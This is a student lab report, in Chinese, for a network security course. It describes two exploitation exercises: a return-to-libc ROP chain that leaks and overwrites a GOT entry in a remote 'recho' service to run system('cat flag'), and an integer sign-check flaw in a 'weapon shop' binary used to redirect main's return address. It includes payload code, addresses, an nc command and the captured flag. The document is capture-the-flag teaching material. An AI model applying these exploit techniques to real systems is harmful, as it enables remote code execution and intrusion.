# 《网络安全工程与实践》第二次实验报告

林子钏 2012011322 罗鸿胤 2012011319

## 一、实验目的

- 1、利用远程服务器上recho.c的缓冲区溢出漏洞,使用return to libc技术绕过DEP(堆栈不可执行)和 ASLR(内存地址随机化)防护,获取远程服务器上的flag文件内容。
- 2、训中并利用所给的二进制可执行程序的漏洞,得到服务器文件中的内容。

# 二、实验过程

## [第一题]

在handle()函数中发现recv\_line(buf)函数存在缓冲区溢出漏洞,设法通过精心构造的栈结构,使返回地址ret被覆盖,跳转到我们预期的执行函数中。初步想法是通过往栈中写入shellcode,使的栈跳转到shellcode的地址并执行,但是由于服务器上设置了DEP使得栈不可执行,因此需要利用return to libc技术,调用libc中的某个函数地址(在本文中使用的是getpwnam函数),修改该函数的got表项为system()函数的got表项,间接地执行system函数,同时为了绕过服务器上的ASLR防护,需要使用一些trick去获取libc函数(比如getpwnam)的got表项的内容。

1、获取动态链接库libc.so.6中system和getpwnam的入口地址 objdump -T libc.so.6 l grep 'system\l getpwnam'

```
000b1b70 g DF .text 0000014e GLIBC_2.0 getpwnam
0003aeb0 w DF .text 00000037 GLIBC_2.0 system
```

2、获取recho程序动态链接libc时getpwnam的plt表项,以及sendstr和recv\_line函数的入口地址objdump -D ./recho





可看出 getpwnam\_plt = 0x8048640 getpwnam\_got = 0x804a208 sendstr = 0x08048acf recv\_line = 0x080489e6 8048af7: 81 ec 08 01 00 00 sub \$0x108,%esp 8048afd: 83 ec 04 sub \$0x4,%esp



#### 4、构造四个函数

- (1) payload += l32(sendstr) + l32(popret) + l32(getpwnam\_got) 令sendstr的地址覆盖掉原来handle函数的ret地址,并将参数getpwnam\_got的地址放在+8的位置,并利用pop/ret,清理掉栈中的参数,把esp指针指向下一个函数的地址,即下面的recv\_line。作用:将服务器上的getpwnam\_got的动态地址发送到本地。
- (2) payload += l32(recv\_line) + l32(popret) + l32(getpwnam\_got) 原理同(1)

作用:服务器接收本地发送的system的got地址,覆盖掉原来的getpwnam\_got。

- (3) payload += l32(recv\_line) + l32(popret) + l32(bss) 作用:接收本地发送给服务器的system函数的参数,并存放到数据段的某一个地址。
- (4) payload += l32(getpwnam\_plt) + l32(popret) + l32(bss) 作用:服务器通过getpwnam plt跳转到getpwnam got去寻找函数的动态入口地址(但此时的

```
#使用sendstr函数使服务器发送getpwnam的got地址,参数为getpwnam_got
payload += l32(sendstr) + l32(popret) + l32(getpwnam_got)
#使用recv_line函数覆盖getpwnam_got, 参数为getpwnam_got的地址
payload += l32(recv_line) + l32(popret) + l32(getpwnam_got)
#使用recv_line函数覆盖bss内一段可以写的地址为本地传过去的命令,参数为bss段内可写的地址
payload += l32(recv_line) + l32(popret) + l32(bss)
#调用system函数,参数为刚才重写入内存的指令bss
payload += l32(getpwnam_plt) + l32(popret) + l32(bss)
```

getpwnam\_got已经被system\_got给覆盖了),即执行了system函数,并以(3)写入的bss段数据为参数。

## 5、计算服务器上的system\_addr

通过io.read(4)获取服务器上发过来的getpwnam\_got,减去本地的getpwnam地址后获得服务器上的libc的基址。

```
libc = l32(io.read(4)) - getpwnam_o
system_addr = libc + system_o
```

libc基址加上本地system函数的地址, 即为服务器上的system函数的地址。 6、将5算出来的system\_addr写回服务器上的getpwnam\_got,覆盖掉getpwnam\_plt原先要跳转到的地址。

io.write(l32(system\_addr) + '\0\n')

这样,在调用getpwnam\_plt时,就能让服务器成功地执行system函数。

7、写入要执行的命令,作为system函数的参数。

## io.write('cat flag\0\n')

### 8、实验结果

执行python exploit.py, 得到服务器上的flag文件内容。

# 

## [第二题]

#### 方法:

在函数00000990的0x804B1E0有长度为200的空间,可以用于存放payload。

在函数000007A0中:

```
if ( v804B2A8 != 45 )
{
  result = sub_4E0(134525608, 0, 10);
  if ( result <= 8 )
     break;
}</pre>
```

这个语句的作用是对负数进行检查。可以发现这里只检查了第一位是否 是负号。利用这一点,可以在第一位输入空格以避开数组的下标检查, 使得字符串转换后的数为负数。

程序main的返回地址为0x804850B,与0x804B1E0有0x2cd5的距离。因此利用此函数可以写内存。所以可以购买-16号d5次,-17号2c次,这样可以将main函数的返回地址修改为之前存放的payload的地址。之后构造溢出,输入文件见input。

#### 执行:

(cat input & cat) | nc 166.111.132.132 7563

#### 得到:

```
==== MENU ====
[a] Weapon List
[b] Shop Cart
[c] Checkout
[d] Exit
cat /home/weapon_shop/flag
pwn1ng-1s-4wes0me-2o15
```

## 三、心得体会

本次实验让我们掌握了如何利用程序的缓冲区溢出漏洞,使用ROP去绕过DEP和ASLR防护,进而在服务器上执行想要的命令,在实验过程中,我们更深刻地理解了linux x86的函数栈结构,以及libc库的动态加载相关的知识。同时,我们对于栈溢出的利用有了更为深入的理解,锻炼了对于可执行程序进行逆向以及利用程序漏洞的能力,受益匪浅。